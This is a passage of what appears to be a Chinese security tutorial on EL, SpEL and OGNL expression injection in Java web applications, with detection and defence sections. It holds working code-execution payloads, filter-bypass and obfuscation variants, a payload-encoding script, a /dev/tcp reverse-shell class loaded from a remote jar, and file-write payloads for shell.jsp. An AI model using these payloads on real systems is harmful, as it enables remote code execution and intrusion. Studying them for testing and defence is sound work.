前言
在Java
安全学习中, 常见的表达式注入方式有EL
表达式注入、SpEL
表达式注入和OGNL
表达式注入, 这里来对其进行一个简略的分析.
EL表达式注入
EL 简介
EL(Expression Language)是为了使JSP
写起来更加简单. 表达式语言的灵感来自于ECMAScript
和XPath
表达式语言, 它提供了在JSP
中简化表达式的方法, 让JSP
的代码更加简化.
EL
表达式主要功能如下:
获取数据:
EL
表达式主要用于替换JSP
页面中的脚本表达式, 以从各种类型的Web
域中检索Java
对象、获取数据(某个Web
域中的对象, 访问JavaBean
的属性、访问List
集合、访问Map
集合、访问数组).执行运算: 利用
EL
表达式可以在JSP
页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP
页面中完成一些简单的逻辑运算, 例如${user==null}
.获取
Web
开发常用对象:EL
表达式定义了一些隐式对象, 利用这些隐式对象,Web
开发人员可以很轻松获得对Web
常用对象的引用, 从而获得这些对象中的数据.调用
Java
方法:EL
表达式允许用户开发自定义EL
函数, 以在JSP
页面中通过EL
表达式调用Java
类的方法.
EL
表达式特点如下:
可得到
PageContext
属性值.可直接访问
JSP
的内置对象, 如page
,request
,session
,application
等.运算符丰富, 有关系运算符、逻辑运算符、算术运算符等.
扩展函数可与
JAVA
类的静态方法对应.
EL 基本语法
在JSP
中访问模型对象是通过EL
表达式的语法来表达. 所有EL
表达式的格式都是以${}
表示. 例如,${userinfo}
代表获取变量userinfo
的值. 当EL
表达式中的变量不给定范围时, 则默认在page
范围查找, 然后依次在request
、session
、application
范围查找. 也可以用范围作为前缀表示属于哪个范围的变量, 例如:${pageScope. userinfo}
表示访问page
范围中的userinfo
变量.
[] 与 . 运算符
EL
表达式提供.
和[]
两种运算符来存取数据. 当要存取的属性名称中包含一些特殊字符, 如.
或-
等并非字母或数字的符号, 就一定要使用[]
. 例如:${user.My-Name}
应当改为${user["My-Name"]}
. 如果要动态取值时, 就可以用[]
来做, 而.
无法做到动态取值, 例如:${sessionScope.user[data]}
中data
是一个变量.
变量
EL
表达式存取变量数据的方法很简单, 例如:${username}
. 它的意思是取出某一范围中名称为username
的变量. 因为我们并没有指定哪一个范围的username
, 所以它会依序从Page
、Request
、Session
、Application
范围查找. 假如途中找到username
, 就直接回传, 不再继续找下去, 但是假如全部的范围都没有找到时, 就回传""
.
EL
表达式的属性如下:
Page | PageScope |
Request | RequestScope |
Session | SessionScope |
Application | Application |
JSP
表达式语言定义可在表达式中使用的以下文字:
Boolean | true 和false |
Integer | 与Java 类似, 可以包含任何整数, 例如:24 、-45 、567 |
Floating Point | 与Java 类似, 可以包含任何正的或负的浮点数, 例如:-1.8E-45 、4.567 |
String | 任何由单引号或双引号限定的字符串. 对于单引号、双引号和反斜杠, 使用反斜杠字符作为转义序列. 必须注意, 如果在字符串两端使用双引号, 则单引号不需要转义. |
Null | null |
操作符
JSP
表达式语言提供以下操作符, 其中大部分是Java
中常用的操作符:
术语 | 定义 |
---|---|
算术型 | + 、- (二元)、* 、/ 、div 、% 、mod 、- (一元). |
逻辑型 | and 、&& 、or 、` |
关系型 | == 、eq 、!= 、ne 、< 、lt 、> 、gt 、<= 、le 、>= 、ge . 可以与其他值进行比较, 或与布尔型、字符串型、整型或浮点型文字进行比较. |
空 | empty 空操作符是前缀操作, 可用于确定值是否为空. |
条件型 | A ? B : C . 根据A 赋值的结果来赋值B 或C . |
隐式对象
JSP
表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet
和表达式中可用:
术语 | 定义 |
---|---|
pageContext | JSP 页的上下文, 可以用于访问JSP 隐式对象, 如请求、响应、会话、输出、servletContext 等. 例如,${pageContext.response} 为页面的响应对象赋值. |
此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:
术语 | 定义 |
---|---|
param | 将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name) 获得).getParameter(String) 方法返回带有特定名称的参数. 表达式${param.name} 相当于request.getParameter(name) . |
paramValues | 将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name) 获得). 它与param 隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name} 相当于request.getParamterValues(name) . |
header | 将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name) 获得). 表达式${header.name} 相当于request.getHeader(name) . |
headerValues | 将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String) 获得). 它与头隐式对象非常类似, 表达式${headerValues.name} 相当于request.getHeaderValues(name) . |
cookie | 将cookie 名称映射到单个cookie 对象. 向服务器发出的客户端请求可以获得一个或多个cookie . 表达式${cookie.name.value} 返回带有特定名称的第一个cookie 值. 如果请求包含多个同名的cookie , 则应该使用${headerValues.name} 表达式. |
initParam | 将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name) 获得). |
除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文
、会话
、请求
、页面
:
术语 | 定义 |
---|---|
pageScope | 将页面范围的变量名称映射到其值. 例如,EL 表达式可以使用${pageScope.objectName} 访问一个JSP 中页面范围的对象, 还可以使用${pageScope.objectName.attributeName} 访问对象的属性. |
requestScope | 将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如,EL 表达式可以使用${requestScope.objectName} 访问一个JSP 请求范围的对象, 还可以使用${requestScope.objectName.attributeName} 访问对象的属性. |
sessionScope | 将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如,${sessionScope.name} . |
applicationScope | 将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象. |
EL 函数
EL
允许您在表达式中使用函数, 这些函数必须被定义在自定义标签库中. 要使用任何标签库中的函数, 需要将这些库安装在服务器中, 然后使用<taglib>
标签在JSP文件中包含这些库. 函数的使用语法如下:
${ns:func(param1, param2, ...)}
ns: 命名空间
func: 指的是函数的名称
paramx: 参数
EL 调用 Java 方法
先新建一个ELFunc
类, 其中定义的doSomething
函数用于输出Hello, xxx!
:
package h3rmek1t.javawebsecurity;
/**
* @Author: H3rmesk1t
* @Data: 2022/3/17 11:24 下午
*/
public class ELFunc {
public static String doSomething(String str) {
return "Hello, " + str + "!";
}
}
接着在WEB-INF
文件夹下新建test.tld
文件, 其中指定执行的Java
方法及其URI
地址:
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://www.h3rmesk1t.com/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>h3rmek1t.javawebsecurity.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
JSP
文件中, 先头部导入taglib
标签库,URI
为test.tld
中设置的URI
地址,prefix
为test.tld
中设置的short-name
, 然后直接在EL
表达式中使用类名:方法名()
的形式来调用该类方法即可:
<%@taglib uri="http://www.h3rmesk1t.com/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("h3rmesk1t")}
JSP 中启动/禁用 EL 表达式
全局禁用 EL 表达式
在web.xml
中进行如下配置:
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
单个文件禁用 EL 表达式
在JSP
文件中可以有如下定义来表示是否禁用EL
表达式,true
表示禁止,false
表示不禁止, 在JSP2.0
中默认的启用EL
表达式.
<%@ page isELIgnored="true" %>
EL 表达式注入漏洞
EL
表达式注入漏洞原理: 表达式外部可控导致攻击者注入恶意表达式实现任意代码执行. 一般来说,EL
表达式注入漏洞的外部可控点入口都是在Java
程序代码中, 即Java
程序中的EL
表达式内容全部或部分是从外部获取的.
CVE-2011-2730
JUEL
EL
曾经是JSTL
的一部分, 然后EL
进入了JSP 2.0
标准. 现在EL API
已被分离到包javax.el
中, 并且已删除了对核心JSP
类的所有依赖关系, 也就是说, 现在EL
表达式所依赖的包javax.el
等都在JUEL
相关的jar
包中.
JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现, 具有高性能、插件式缓存、小体积、支持方法调用和多参数调用、可插拔多种特性.
例如如下代码, 利用反射调用Runtime
类方法实现命令执行:
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
package h3rmek1t.javawebsecurity;
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
/**
* @Author: H3rmesk1t
* @Data: 2022/3/18 12:05 上午
*/
public class ElShell {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String shell = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a Calculator')}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
绕过方法
利用反射机制
同JUEL
中反射调用Runtime
类方法实现命令执行.
利用 ScriptEngine 调用 JS 引擎绕过
这个和SpEL
注入中的手法是一样的.
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")}
防御方法
尽量不使用外部输入的内容作为EL
表达式内容;
使用外部输入的内容作为EL
表达式内容时, 需严格过滤EL
表达式注入漏洞的Payload
关键字;
排查Java
程序中JUEL
相关代码, 搜索如下关键类方法
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()
参考
SpEL表达式注入
SpEL 简介
Spring
表达式语言(简称SpEl
)是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL
, 但提供额外的功能, 最出色的就是函数调用和简单字符串的模板函数.
尽管有其他可选的Java
表达式语言, 如OGNL
,MVEL
,JBoss EL
等等, 但Spel
创建的初衷是了给Spring
社区提供一种简单而高效的表达式语言, 一种可贯穿整个Spring
产品组的语言, 这种语言的特性应基于Spring
产品的需求而设计. 虽然SpEL
引擎作为Spring
组合里的表达式解析的基础, 但它不直接依赖于Spring
, 可独立使用.
SpEL
特性:
使用
Bean
的ID
来引用Bean
;可调用方法和访问对象的属性;
可对值进行算数、关系和逻辑运算;
可使用正则表达式进行匹配;
可进行集合操作.
SpEL
表达式语言支持以下功能:
文字表达式.
布尔和关系运算符.
正则表达式.
类表达式.
访问
properties
,arrays
,lists
,maps
.方法调用.
关系运算符.
参数.
调用构造函数.
Bean
引用.构造
Array
.内嵌
lists
.内嵌
maps
.三元运算符.
变量.
用户定义的函数.
集合投影.
集合筛选.
模板表达式.
SpEL 使用
SpEL
的用法有三种形式, 一种是在注解@Value
中, 一种是XML
配置, 最后一种是在代码块中使用Expression
.
注解 @Value 用法
@Value
能修饰成员变量和方法形参,#{}
内就是SpEL
表达式的语法,Spring
会根据SpEL
表达式语法为变量赋值.
public class User {
@Value("${ spring.user.name }")
private String Username;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}
XML 配置用法
在SpEL
表达式中, 使用T(Type)
运算符会调用类的作用域和方法,T(Type)
操作符会返回一个object
, 它可以帮助获取某个类的静态方法, 用法T(全限定类名).方法名()
, 即可以通过该类类型表达式来操作类, 例如:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="com.mi1k7ea.HelloWorld">
<property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc')}" />
</bean>
</beans>
Expression 用法
各种Spring CVE
漏洞基本都是基于Expression
形式的SpEL
表达式注入.
SpEL
在求表达式值时一般分为四步:
创建解析器:
SpEL
使用ExpressionParser
接口表示解析器, 提供SpelExpressionParser
默认实现;解析表达式: 使用
ExpressionParser
的parseExpression
来解析相应的表达式为Expression
对象;构造上下文: 准备比如变量定义等等表达式需要的上下文数据(可省);
求值: 通过
Expression
接口的getValue
方法根据上下文获得表达式值.
主要接口:
ExpressionParser
接口: 表示解析器, 默认实现是org.springframework.expression.spel.standard
包中的SpelExpressionParser
类, 使用parseExpression
方法将字符串表达式转换为Expression
对象, 对于ParserContext
接口用于定义字符串表达式是不是模板, 以及模板开始与结束字符;
EvaluationContext
接口: 表示上下文环境, 默认实现是org.springframework.expression.spel.support
包中的StandardEvaluationContext
类, 使用setRootObject
方法来设置根对象, 使用setVariable
方法来注册自定义变量, 使用registerFunction
来注册自定义函数等等.
Expression
接口: 表示表达式对象, 默认实现是org.springframework.expression.spel.standard
包中的SpelExpression
, 提供getValue
方法用于获取表达式值, 提供setValue
方法用于设置对象值.
示例代码如下, 和前面XML
配置的用法区别在于程序会将这里传入parseExpression
函数的字符串参数当成SpEL
表达式来解析, 而无需通过#{}
符号来注明:
// 操作类弹计算器, java.lang包下的类是可以省略包名的.
String spel = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
// String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
在该用法中, 类实例化同样使用Java
关键字new
, 且类名必须是全限定名(java.lang
包内的类型除外).
SpEL 表达式注入漏洞
漏洞原理
SimpleEvaluationContext
和StandardEvaluationContext
是SpEL
提供的两个EvaluationContext
:
SimpleEvaluationContext
: 针对不需要SpEL
语言语法的全部范围并且应该受到有意限制的表达式类别, 公开SpEL
语言特性和配置选项的子集.
StandardEvaluationContext
: 公开全套SpEL
语言功能和配置选项, 可以使用它来指定默认的根对象并配置每个可用的评估相关策略.
SimpleEvaluationContext
旨在仅支持SpEL
语言语法的一个子集, 不包括Java
类型引用、构造函数和bean
引用; 而StandardEvaluationContext
是支持全部SpEL
语法的.
由前面知道,SpEL
表达式是可以操作类及其方法的, 可以通过类类型表达式T(Type)
来调用任意类方法. 这是因为在不指定EvaluationContext
的情况下默认采用的是StandardEvaluationContext
, 而它包含了SpEL
的所有功能, 在允许用户控制输入的情况下可以成功造成任意命令执行.
过程分析
将断点打在getValue
处, 跟进SpelExpression#getValue
, 在创建实例ExpressionState
时, 调用this.getEvaluationContext
方法.
由于没有指定evaluationContext
, 会默认获取StandardEvaluationContext
实例, 上文讲了其包含了SpEL
的所有功能, 这也就是命令得以执行的原因.
接着就是获取类然后调用相应的方法来执行命令.
RunTime
说明: 由于RunTime
类使用了单例模式, 获取对象不能直接通过构造方法获得, 必须通过静态方法getRuntime
来获得, 调用静态方法的话需要使用SpEL
的T()
操作符,T()
操作符会返回一个object
.
T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
T(Runtime).getRuntime().exec(new String[]{"open", "-a", "Calculator"})
ScriptEngine
由于JS
中的eval
函数可以把字符串当成代码进行解析, 且从JDK6
开始自带ScriptEngineManager
这个类, 支持在JS
中调用Java
的对象. 因此, 可以利用Java
调用JS
引擎的eval
, 然后在Payload
中反过来调用Java
对象.
获取所有JavaScript
引擎信息:
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}
通过输出结果可以知道,getEngineByName
的参数可以填nashorn
,Nashorn
,js
,JS
,JavaScript
,javascript
,ECMAScript
,ecmascript
.
// nashorn 可以换成其他的引擎名称
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);")
UrlClassLoader
JVM
拥有多种ClassLoader
, 不同的ClassLoader
会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的jar
文件加载, 还包括使用网络服务地址来加载. 常见的几个重要的ClassLoader
:BootstrapClassLoader
、ExtensionClassLoader
和AppClassLoader
、UrlClassLoader
.
利用思路: 远程加载class
文件, 通过函数调用或者静态代码块来调用. 先构造一份Exploit.class
放到远程vps
即可
例如, 通过构造方法反弹shell
的exp.java
:
public class exp {
public exp(String address) {
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:9999/exp.jar")}).loadClass("exp").getConstructors()[0].newInstance("127.0.0.1:2333")
AppClassLoader
AppClassLoader
直接面向用户, 它会加载Classpath
环境变量里定义的路径中的jar
包和目录. 由于双亲委派的存在, 它可以加载到我们想要的类. 使用的前提是获取, 获取AppClassLoader
可以通过ClassLoader
类的静态方法getSystemClassLoader
.
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open", "-a", "Calculator"}).start()
通过其他类获取 AppClassLoader
在实际项目中, 开发者往往会导入很多依赖的jar
, 或编写自定义类.
例如, 这里利用类org.springframework.expression.Expression
来获取AppClassLoader
.
T(org.springframework.expression.spel.standard.SpelExpressionParser).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")
例如, 这里利用自定义类h3rmek1t.javawebsecurity.ElShell
来获取AppClassLoader
.
T(h3rmek1t.javawebsecurity.ElShell).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")
通过内置对象加载 UrlClassLoader
参考Spring SPEL注入漏洞利用.request
、response
对象是web
项目的常客, 在web
项目如果引入了spel
的依赖, 那么这两个对象会自动被注册进去.
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a Calculator')")]=asdf
ByPass
反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator")
反射调用 && 字符串拼接
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})
动态生成字符
当执行的系统命令被过滤或者被URL
编码掉时, 可以通过String
类动态生成字符.
Part1
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)))
Part2
new java.lang.ProcessBuilder(new String[]{new java.lang.String(new byte[]{111,112,101,110}),new java.lang.String(new byte[]{45,97}),new java.lang.String(new byte[]{67,97,108,99,117,108,97,116,111,114})}).start()
用于String
类动态生成字符的字符ASCII
码转换生成:
def shell():
shell = input('Enter shell to encode: ')
part1_shell = 'T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(shell[0])
for c in shell[1:]:
part1_shell += '.concat(T(java.lang.Character).toString(%s))' % ord(c)
part1_shell += ')'
print('\nPart1: ')
print(part1_shell + '\n')
part2_shell = 'new java.lang.ProcessBuilder(new String[]{'
args = shell.split(' ')
len_args = len(args)
len_temp = 0
while(len_temp < len_args):
temp = 'new java.lang.String(new byte[]{'
for i in range(len(args[len_temp])):
temp += str(ord(args[len_temp][i]))
if (i != len(args[len_temp]) - 1):
temp += ','
temp += '})'
part2_shell += temp
len_temp += 1
if len_temp != len_args:
part2_shell += ','
part2_shell += '}).start()'
print('\nPart2: ')
print(part2_shell + '\n')
if __name__ == '__main__':
shell()
JavaScript 引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(\"s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\"))
JavaScript 引擎 && 反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"open","-a","Calculator"})))
JavaScript 引擎 && URL 编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"JavaScript\").eval(T(java.net.URLDecoder).decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%43%61%6c%63%75%6c%61%74%6f%72%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\")))
JShell
在JDK9
中新增的shell
.
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('open -a Calculator').toString()
绕过 T( 过滤
SpEL
对字符的编码时,%00
会被直接替换为空.
T%00(new)
绕过 getClass(
// 这里的 15 可能需要替换为 14, 不同 jdk 版本的序号不同.
"".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[15].invoke("".class.getSuperclass().class.forName("java.lang.Runtime").getDeclaredMethods()[7].invoke(null),"open -a Calculator")
回显
上文中讲述了如何通过SpEL
执行系统命令, 接着来看看如何在一行SpEL
语句中获得命令执行的回显.
commons-io
使用commons-io
这个组件实现回显, 这种方式会受限于目标服务器是否存在这个组件,springboot
默认环境下都没有用到这个组件.
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
JShell
上文中的JShell
是可以实现回显输出的, 但是这种方式会受限于jdk
的版本问题.
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
BufferedReader
jdk
原生类实现回显的输出, 但是该方法只能读取一行.
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("whoami").start().getInputStream(), "gbk")).readLine()
Scanner
利用Scanner#useDelimiter
方法使用指定的字符串分割输出, 因此这里给一个乱七八糟的字符串即可, 就会让所有的字符都在第一行, 然后执行next
方法即可获得所有输出.
new java.util.Scanner(new java.lang.ProcessBuilder("ls", "/").start().getInputStream(), "GBK").useDelimiter("h3rmesk1t").next()
读写文件
读文件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp"))))
写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/shell.jsp")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
检测与防御
检测方法
全局搜索关键特征:
// 关键类
org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser
// 调用特征
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue()
expression.setValue()
防御方法
最直接的修复方法是使用SimpleEvaluationContext
替换StandardEvaluationContext
.
String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));
参考
OGNL表达式注入
OGNL 简介
OGNLstands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property.
The Ognl class contains convenience methods for evaluating OGNL expressions. You can do this in two stages, parsing an expression into an internal form and then using that internal form to either set or get the value of a property; or you can do it in a single stage, and get or set a property using the String form of the expression directly.
OGNL 三要素
表达式(Expression): 表达式是整个OGNL
的核心内容, 所有的OGNL
操作都是针对表达式解析后进行的. 通过表达式来告诉OGNL
操作要干些什么. 因此, 表达式其实是一个带有语法含义的字符串, 整个字符串将规定操作的类型和内容.OGNL
表达式支持大量的表达式, 如"链式访问对象"、表达式计算、甚至还支持Lambda
表达式.
Root
对象:OGNL
的Root
对象可以理解为OGNL
的操作对象. 当指定了一个表达式的时候, 需要指定这个表达式针对的是哪个具体的对象. 而这个具体的对象就是Root
对象, 这就意味着, 如果有一个OGNL
表达式, 则需要针对Root
对象来进行OGNL
表达式的计算并且返回结果.
上下文环境: 有个Root
对象和表达式, 就可以使用OGNL
进行简单的操作了, 如对Root
对象的赋值与取值操作. 但是, 实际上在OGNL
的内部, 所有的操作都会在一个特定的数据环境中运行. 这个数据环境就是上下文环境(Context).OGNL
的上下文环境是一个Map
结构, 称之为OgnlContext
.Root
对象也会被添加到上下文环境当中去, 简而言之, 上下文就是一个MAP
结构, 它实现了java.utils.Map
的接口.
在Struct2
中ActionContex
即OGNL
的Context
, 其中包含的ValueStack
即为OGNL
的Root
.
ActionContext
ActionContext
是上下文对象, 对应OGNL
的Context
, 是一个以MAP
为结构、利用键值对关系来描述对象中的属性以及值的对象, 简单来说可以理解为一个action
的小型数据库, 整个action
生命周期(线程)中所使用的数据都在这个ActionContext
中.
除了三个常见的作用域request
、session
、application
外, 还有以下三个作用域:
attr
: 保存着上面三个作用域的所有属性, 如果有重复的则以request
域中的属性为基准;
paramters
: 保存的是表单提交的参数;
VALUE_STACK
: 值栈, 保存着valueStack
对象, 也就是说可以通过ActionContext
访问到valueStack
中的值.
ValueStack
值栈(ValueStack)就是OGNL
表达式存取数据的地方. 在一个值栈中封装了一次请求所需要的所有数据.
在使用Struts2
的项目中,Struts2
会为每个请求创建一个新的值栈, 也就是说, 值栈和请求是一一对应的关系, 这种一一对应的关系使值栈能够线程安全地为每个请求提供公共的数据存取服务.
值栈可以作为一个数据中转站在前台与后台之间传递数据, 最常见的就是将Struts2
的标签与OGNL
表达式结合使用. 值栈实际上是一个接口, 在Struts2
中利用OGNL
时, 实际上使用的就是实现了该接口的OgnlValueStack
类, 这个类是OGNL
的基础. 值栈贯穿整个Action
的生命周期, 每个Action
类的对象实例都拥有一个ValueStack
对象, 在ValueStack
对象中保存了当前Action
对象和其他相关对象. 要获取值栈中存储的数据, 首先应该获取值栈, 值栈的获取有两种方式.
在 request 中获取值栈
ValueStack
对象在request
范围内的存储方式为request.setAttribute("struts.valueStack",valuestack)
, 可以通过如下方式从request
中取出值栈的信息:
//获取 ValueStack 对象,通过 request 对象获取
ValueStack valueStack = (ValueStack)ServletActionContext.getRequest().getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);
在 ActionContext 中获取值栈
在使用Struts2
框架时, 可以使用OGNL
操作Context
对象从ValueStack
中存取数据, 也就是说, 可以从Context
对象中获取ValueStack
对象. 实际上,Struts2
框架中的Context
对象就是ActionContext
.
ActionContext
获取ValueStack
对象的方式如下所示:
// 通过 ActionContext 获取 valueStack 对象.
ValueStack valueStack = ActionContext.getContext().getValueStack();
ActionContext
对象是在StrutsPrepareAndExcuteFilter#doFilter
方法中被创建的, 在源码中用于创建ActionContext
对象的createActionContext
方法内可以找到获取的ValueStack
对象的信息. 方法中还有这样一段代码:
ctx = new ActionContext(stack.getContext());
从上述代码中可以看出,ValueStack
对象中的Context
对象被作为参数传递给了ActionContext
对象, 这也就说明ActionContext
对象中持有了ValueStack
对象的引用, 因此可以通过ActionContext
对象获取ValueStack
对象.
OGNL 基本语法
OGNL
